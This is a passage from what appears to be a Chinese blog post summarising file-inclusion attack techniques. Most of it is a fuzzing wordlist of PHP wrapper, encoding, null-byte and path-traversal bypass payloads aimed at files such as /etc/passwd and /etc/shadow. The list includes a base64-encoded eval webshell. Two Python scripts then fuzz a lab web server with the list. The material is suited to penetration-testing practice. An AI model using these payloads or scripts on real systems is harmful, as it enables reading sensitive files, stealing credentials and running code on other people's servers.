557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
include
include_once
require
require_once
file_get_contents
file_put_contents
readfile
file
fopen
fread
fwrite
fputs
fscanf
fgetcsv
fgetss
fpassthru
parse_ini_file
show_source
highlight_file
includ%65
includ%2565
%69nclude
includee
inc%6cude
inc%6c%75de
includ%00
include%00
include/.
include/./.
includ\./e
inc../lude
INCLUDE
InClUdE
incinclude
includeinclude
php
pHp
pHP
Php
PHP
p%68p
%70hp
%70%68%70
pphphp
phpphp
phpPHP
://
:\\
:///
:|
:/
:\\\\
:%2F%2F
:%2f%2f
:/\
:\/
://%00
:///.
:///./
input
INPUT
Input
iNpUt
inp%75t
%69nput
in%70ut
inp%75%74
input%00
input/.
input/./.
input\.
inp../ut
ininputput

filter
FILTER
Filter
fIltEr
fil%74er
%66ilter
fi%6cter
filt%65r
filt%65%72
filter%00
filter/.
filter/./.
filfilterter

temp
TEMP
Temp
tEmP
te%6dp
%74emp
temp%00
temp/.
temp/./.
tetempm

memory
MEMORY
Memory
mEmOrY
mem%6fry
%6demory
memory%00
memory/.
memory/./.
mememoryry
resource
RESOURCE
Resource
rEsOuRcE
res%6furce
%72esource
reso%75rce
resour%63e
resource%00
resource/.
resource/./.
resresourceource
data
DATA
Data
dAtA
da%74a
%64ata
data%00
data/.
data/./.
datadataa
text
TEXT
Text
tExT
te%78t
%74ext
text%00
plain
PLAIN
Plain
pLaIn
pl%61in
%70lain
plain%00
base64
BASE64
Base64
bAsE64
base%3634
%62ase64
base64%00
base64/.
base64/./.
basebase6464
PD9waHAgcGhwaW5mbygpOz8+
PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4
string
STRING
String
sTrInG
str%69ng
%73tring
stri%6eg
strin%67
string%00
string/.
string/./.
strstringing

rot13
ROT13
Rot13
rOt13
ro%7413
%72ot13
rot1%33
rot13%00
rot13/.
rot13/./.
rorot13t13

toupper
TOUPPER
Toupper
tOuPpEr
to%75pper
%74oupper
toupper%00
toupper/.
totoupperupper

tolower
TOLOWER
Tolower
tOlOwEr
to%6cower
%74olower
tolower%00
tolower/.
totolowerlower

strip_tags
STRIP_TAGS
Strip_Tags
sTrIp_TaGs
str%69p_tags
%73trip_tags
strip_%74ags
strip_t%61gs
strip_tag%73
strip_tags%00
strip_tags/.
strip_tags/./.
strstrip_tagsip_tags

convert
CONVERT
Convert
cOnVeRt
con%76ert
%63onvert
conv%65rt
conver%74
convert%00
convert/.
convert/./.
convconvertvert

iconv
ICONV
Iconv
iCoNv
ic%6fnv
%69conv
ico%6ev
icon%76
iconv%00
iconv/.
iconv/./.
iciconvonv

zlib
ZLIB
Zlib
zLiB
zl%69b
%7alib
zli%62
zlib%00
zlib/.
zlib/./.
zzliblib

deflate
DEFLATE
Deflate
dEfLaTe
def%6cate
%64eflate
defl%61te
defla%74e
deflate%00
deflate/.
deflate/./.
dedeflateflate

inflate
INFLATE
Inflate
iNfLaTe
inf%6cate
%69nflate
infl%61te
infla%74e
inflate%00
inflate/.
inflate/./.
ininflateflate

bzip2
BZIP2
Bzip2
bZiP2
bz%69p2
%62zip2
bzi%702
bzip2%00
bzip2/.
bzip2/./.
bbzip2zip2

quoted_printable
QUOTED_PRINTABLE
Quoted_Printable
qUoTeD_pRiNtAbLe
quo%74ed_printable
%71uoted_printable
quoted_%70rintable
quoted_print%61ble
quoted_printable%00
quoted_printable/.
quoted_printable/./.

encode
ENCODE
Encode
eNcOdE
enc%6fde
%65ncode
enco%64e
encod%65
encode%00
encode/.
encode/./.
enencodecode

decode
DECODE
Decode
dEcOdE
dec%6fde
%64ecode
deco%64e
decod%65
decode%00
decode/.
decode/./.
dedecodecode
UCS-2LE
ucs-2le
UCS-2le
uCs-2lE
U%43S-2LE
%55CS-2LE
UCS%2d2LE
UCS-%32LE
UCS-2%4cE
UCS-2L%45
UCS-2LE%00
UCS-2LE/.
UCS-2LE/./.
UCSUCS-2LE-2LE

UCS-2BE
ucs-2be
UCS-2be
uCs-2bE
U%43S-2BE
%55CS-2BE
UCS%2d2BE
UCS-%32BE
UCS-2%42E
UCS-2B%45
UCS-2BE%00
UCS-2BE/.
UCS-2BE/./.

UCS-4LE
ucs-4le
UCS-4le
uCs-4lE
U%43S-4LE
%55CS-4LE
UCS%2d4LE
UCS-%34LE
UCS-4%4cE
UCS-4L%45
UCS-4LE%00
UCS-4LE/.
UCS-4LE/./.

UCS-4BE
ucs-4be
UCS-4be
uCs-4bE
U%43S-4BE
%55CS-4BE
UCS%2d4BE
UCS-%34BE
UCS-4%42E
UCS-4B%45
UCS-4BE%00
UCS-4BE/.
UCS-4BE/./.

UTF-8
utf-8
UTF-8
uTf-8
U%54F-8
%55TF-8
UTF%2d8
UTF-%38
UTF-8%00
UTF-8/.
UTF-8/./.
UUTF-8TF-8

UTF-16
utf-16
UTF-16
uTf-16
U%54F-16
%55TF-16
UTF%2d16
UTF-%31%36
UTF-16%00
UTF-16/.
UTF-16/./.
UUTF-16TF-16

UTF-16LE
utf-16le
UTF-16LE
uTf-16Le
U%54F-16LE
%55TF-16LE
UTF%2d16LE
UTF-16%4cE
UTF-16LE%00
UTF-16LE/.
UTF-16LE/./.

UTF-16BE
utf-16be
UTF-16BE
uTf-16Be
U%54F-16BE
%55TF-16BE
UTF%2d16BE
UTF-16%42E
UTF-16BE%00
UTF-16BE/.
UTF-16BE/./.

UTF-7
utf-7
UTF-7
uTf-7
U%54F-7
%55TF-7
UTF%2d7
UTF-%37
UTF-7%00
UTF-7/.
UTF-7/./.

ASCII
ascii
ASCII
aScIi
A%53CII
%41SCII
AS%43II
ASC%49I
ASCI%49
ASCII%00
ASCII/.
ASCII/./.
ASASCIIASCII

GBK
gbk
GBK
gBk
G%42K
%47BK
GB%4b
GBK%00
GBK/.
GBK/./.

BIG5
big5
BIG5
bIg5
B%49G5
%42IG5
BI%475
BIG%35
BIG5%00
BIG5/.
BIG5/./.

CP866
cp866
CP866
cP866
C%50866
%43P866
CP%3866
CP8%366
CP86%36
CP866%00
CP866/.
CP866/./.

IBM869
ibm869
IBM869
iBm869
I%42M869
%49BM869
IB%4d869
IBM%3869
IBM8%369
IBM86%39
IBM869%00
IBM869/.
IBM869/./.

ISO-2022-JP
iso-2022-jp
ISO-2022-JP
iSo-2022-Jp
I%53O-2022-JP
%49SO-2022-JP
ISO%2d2022-JP
ISO-%32%30%32%32-JP
ISO-2022-JP%00
ISO-2022-JP/.
ISO-2022-JP/./.
proc
PROC
Proc
pRoC
pr%6fc
%70roc
pro%63
proc%00
proc/.
proc/./.
pprocc
/proc
/proc/
/proc/.
/proc/./
/proc/%00
/proc%00
/proc/%70%72%6f%63
/pr%6fc
/p%72oc

self
SELF
Self
sElF
sel%66
%73elf
se%6cf
sel%66
self%00
self/.
self/./.
sselff
/self
/self/
/self/.
/self/./
/self/%00
/self%00
/sel%66
/s%65lf
/s%65%6c%66

fd
FD
Fd
fD
f%64
%66d
fd%00
fd/.
fd/./.
ffdd
/fd
/fd/
/fd/.
/fd/./
/fd/%00
/fd%00
/f%64
/%66d
/%66%64

log
LOG
Log
lOg
lo%67
%6cog
log%00
log/.
log/./.
llogg
access.log
error.log
auth.log
syslog
messages

etc
ETC
Etc
eTc
et%63
%65tc
etc%00
etc/.
etc/./.
eetcc
/etc
/etc/
/etc/.
/etc/./
/etc/%00
/etc%00
/%65%74%63

passwd
PASSWD
Passwd
pAsSwD
pass%77d
%70asswd
pa%73swd
pas%73wd
passw%64
passwd%00
passwd/.
passwd/./.
papasswdsswd

shadow
SHADOW
Shadow
sHaDoW
shad%6fw
%73hadow
sha%64ow
shad%6f%77
shadow%00
shadow/.
shadow/./.

hosts
HOSTS
Hosts
hOsTs
hos%74s
%68osts
ho%73ts
host%73
hosts%00
hosts/.
hosts/./.

win.ini
WIN.INI
Win.ini
wIn.iNi
win.%69ni
%77in.ini
win.ini%00
win.ini/.
win.ini/./.
../
..\.
..%2F
..%252F
..%c0%af
.%2e/
.%2e%2f
../
../
....//
....\/
..%2F..%2F
..%252F..%252F
..%c0%af..%c0%af
./../
.\..\
/./../
/.\..\
./
.\
/.
/.\
%2e%2e/
%2e%2e%2f
%252e%252e%252f
%c0%ae%c0%ae/
%c0%ae%c0%ae%c0%af
\.
\.\
\..
\..\
%5c%2e%2e%5c
%00
%00.jpg
%00.php
%00.txt
%00/
%23
%26
%3b
%3f
%20
%09
%0a
%0d
%0b
%0c
%00%00
%25%30%30
%%30%30
%%30%%30
%u0000
\0
\00
\000
\x00
\x0
\x0a
\x0d
\x09
\x20
convert.iconv
convert.base64
string.rot13
string.strip_tags
zlib.deflate
php://filter
php://input
data://text
data://plain
/proc/self
/self/fd
/fd/0
fd/1
fd/2
fd/3
fd/4
fd/5
fd/6
fd/7
fd/8
fd/9
fd/10
fd/11
fd/12
fd/13
fd/14
fd/15
fd/16
fd/17
fd/18
fd/19
fd/20
../../
../../../
../../../../
/var/log/
/var/www/
/etc/passwd
/etc/shadow
convconvert
iconiconvv
strstring
phpphp
ininputput
filfilterter
resresourceource
procproc
selfself
fdfd
..//..//
....//
CoNvErT
IcOnV
StRiNg
PhP
InPuT
FiLtEr
ReSoUrCe
PrOc
SeLf
Fd
EtC
PaSsWd
c%6fnvert
i%63onv
s%74ring
p%68p
i%6eput
f%69lter
r%65source
p%72oc
s%65lf
f%64
e%74c
p%61sswd
%2563onvert
%2569conv
%2573tring
%2570hp
%2569nput
%2566ilter
%2572esource
%2570roc
%2573elf
%2566d
%2565tc
%2570asswd
c onvert
i conv
st ring
p hp
i nput
fi lter
re source
pr oc
se lf
f d
et c
pa sswd
c%20onvert
i%09conv
st%0aring
p%0bhp
i%0cnput
fi%0dlter
re%09source
pr%20oc
se%09lf
f%0ad
et%0bc
pa%0csswd

我个人感觉使用fuzz不知道是玄学原因还是什么原因,有时候匹配字符串的时候时候匹配不了

所以我个人感觉还是使用python舒服

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = 'http://192.168.8.140:8899/1.php'
key = 'nono'
with open('fuff.txt','r',encoding='utf-8', errors='ignore') as f:
for line in f:
payload = line.strip()
if not payload:
continue
r = requests.get(url, params={'file':payload})
if key in r.text:
print(payload)
with open('result.txt','a',encoding='utf-8', errors='ignore') as f_res:
f_res.write(payload + '\n')
else:
print('[+]')

或者是匹配响应包长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = 'http://192.168.8.140:8899/1.php'
r = requests.get(url)
length = len(r.text)
key = 'nono'
with open('fuff.txt','r',encoding='utf-8', errors='ignore') as f:
for line in f:
payload = line.strip()
if not payload:
continue
r = requests.get(url, params={'file':payload})
payload_len = len(r.text)
if payload_len != length:
print(payload)
with open('result.txt','a',encoding='utf-8', errors='ignore') as f_res:
f_res.write(payload + '\n')
else:
print('[+]')


文件包含漏洞手法总结
https://exploreio.github.io/2026/04/13/file_include/
作者
ExploreIO
发布于
2026年4月13日
许可协议